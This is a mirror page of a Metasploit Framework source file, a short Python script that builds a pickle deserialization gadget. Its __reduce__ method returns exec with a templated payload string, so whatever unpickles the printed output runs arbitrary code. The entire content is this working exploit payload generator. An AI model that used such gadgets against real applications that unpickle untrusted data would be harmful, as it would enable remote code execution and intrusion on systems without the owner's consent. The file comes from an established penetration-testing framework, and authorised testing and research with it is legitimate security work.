Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/python_deserialization/py3_exec.py
24699 views
1
import pickle
2
3
class GadgetChain:
4
def __reduce__(self):
5
return __builtins__.exec, ('#{escaped}',)
6
7
if __name__ == '__main__':
8
pickled = pickle.dumps(GadgetChain(), protocol=0)
9
print(repr(pickled.decode()))
10
11